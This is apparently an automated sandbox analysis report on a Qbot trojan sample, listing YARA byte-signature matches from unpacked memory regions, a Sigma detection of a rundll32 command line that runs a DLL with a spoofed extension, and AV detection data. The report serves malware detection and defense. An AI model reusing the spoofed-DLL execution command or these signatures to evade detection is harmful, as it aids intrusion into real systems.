3.3.regsvr32.exe.590000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.3.regsvr32.exe.590000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0xf74f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
3.3.regsvr32.exe.590000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1aa14:$a4: %u;%u;%u; 0x1af50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1add8:$a6: %u&%s&%u 0x74c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x7804:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x1b30:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x1587:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xb0ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
8.0.wermgr.exe.12a0000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
8.0.wermgr.exe.12a0000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
8.0.wermgr.exe.12a0000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
4.2.rundll32.exe.4450000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.rundll32.exe.4450000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
4.2.rundll32.exe.4450000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
3.3.regsvr32.exe.590000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.3.regsvr32.exe.590000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
3.3.regsvr32.exe.590000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
9.2.wermgr.exe.970000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
9.2.wermgr.exe.970000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
9.2.wermgr.exe.970000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
7.2.wermgr.exe.e40000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
7.2.wermgr.exe.e40000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
7.2.wermgr.exe.e40000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
9.0.wermgr.exe.970000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
9.0.wermgr.exe.970000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
9.0.wermgr.exe.970000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
9.0.wermgr.exe.970000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
9.0.wermgr.exe.970000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
9.0.wermgr.exe.970000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
5.3.rundll32.exe.2d60000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
5.3.rundll32.exe.2d60000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0xf74f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
5.3.rundll32.exe.2d60000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1aa14:$a4: %u;%u;%u; 0x1af50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1add8:$a6: %u&%s&%u 0x74c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x7804:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x1b30:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x1587:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xb0ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
4.3.rundll32.exe.4430000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.3.rundll32.exe.4430000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
4.3.rundll32.exe.4430000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
5.2.rundll32.exe.2ee0000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
5.2.rundll32.exe.2ee0000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
5.2.rundll32.exe.2ee0000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
3.2.regsvr32.exe.990000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.2.regsvr32.exe.990000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
3.2.regsvr32.exe.990000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
7.2.wermgr.exe.e40000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
7.2.wermgr.exe.e40000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
7.2.wermgr.exe.e40000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
5.3.rundll32.exe.2d60000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
5.3.rundll32.exe.2d60000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
5.3.rundll32.exe.2d60000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
8.0.wermgr.exe.12a0000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
8.0.wermgr.exe.12a0000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
8.0.wermgr.exe.12a0000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
Click to see the 61 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Execute DLL with spoofed extension

Source: Process started

Author: Joe Security: Data: Command: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1, CommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: loaddll32.exe "C:\Users\user\Desktop\pebbles.dat.dll", ParentImage: C:\Windows\System32\loaddll32.exe, ParentProcessId: 5328, ParentProcessName: loaddll32.exe, ProcessCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1, ProcessId: 5900, ProcessName: cmd.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: pebbles.dat.dll

ReversingLabs: Detection: 16%

Machine Learning detection for sample

Source: pebbles.dat.dll

Joe Sandbox ML: detected

Source: pebbles.dat.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: pebbles.dat.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: E:\cpp\out\out\desktop.pdb source: regsvr32.exe, 00000003.00000002.269410643.000000006D4B4000.00000080.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.269325200.000000006D4B4000.00000080.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.269366163.000000006D4B4000.00000080.00000001.01000000.00000003.sdmp, pebbles.dat.dll
Source:	Binary string: amstream.pdb source: wermgr.exe, 00000007.00000003.270246920.0000000004B21000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.269783536.0000000003761000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000009.00000003.270387540.0000000001081000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: amstream.pdbGCTL source: wermgr.exe, 00000007.00000003.270246920.0000000004B21000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.269783536.0000000003761000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000009.00000003.270387540.0000000001081000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0099C123 FindFirstFileW,FindNextFileW,		3_2_0099C123
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0445C123 FindFirstFileW,FindNextFileW,		4_2_0445C123

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_00995D1E GetDC,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,BitBlt,GetCursorInfo,CopyIcon,GetIconInfo,GetObjectW,DrawIconEx,SelectObject,GetObjectW,GetDIBits,DeleteDC,DeleteDC,DeleteObject,

3_2_00995D1E

System Summary

Malicious sample detected (through community Yara rule)

Source: 9.2.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 9.2.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 3.2.regsvr32.exe.990000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 3.2.regsvr32.exe.990000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 4.2.rundll32.exe.4450000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 4.2.rundll32.exe.4450000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 7.0.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 7.0.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 5.2.rundll32.exe.2ee0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 5.2.rundll32.exe.2ee0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 4.3.rundll32.exe.4430000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 4.3.rundll32.exe.4430000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 7.0.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 7.0.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 3.3.regsvr32.exe.590000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 3.3.regsvr32.exe.590000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 8.0.wermgr.exe.12a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 8.0.wermgr.exe.12a0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 4.2.rundll32.exe.4450000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 4.2.rundll32.exe.4450000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 3.3.regsvr32.exe.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 3.3.regsvr32.exe.590000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 9.2.wermgr.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 9.2.wermgr.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 7.2.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 7.2.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 9.0.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 9.0.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 9.0.wermgr.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 9.0.wermgr.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 5.3.rundll32.exe.2d60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 5.3.rundll32.exe.2d60000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 4.3.rundll32.exe.4430000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 4.3.rundll32.exe.4430000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 5.2.rundll32.exe.2ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 5.2.rundll32.exe.2ee0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 3.2.regsvr32.exe.990000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 3.2.regsvr32.exe.990000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
Source: 7.2.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_92c67a6d Author: unknown
Source: 7.2.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Qbot_3074a8d4 Author: unknown
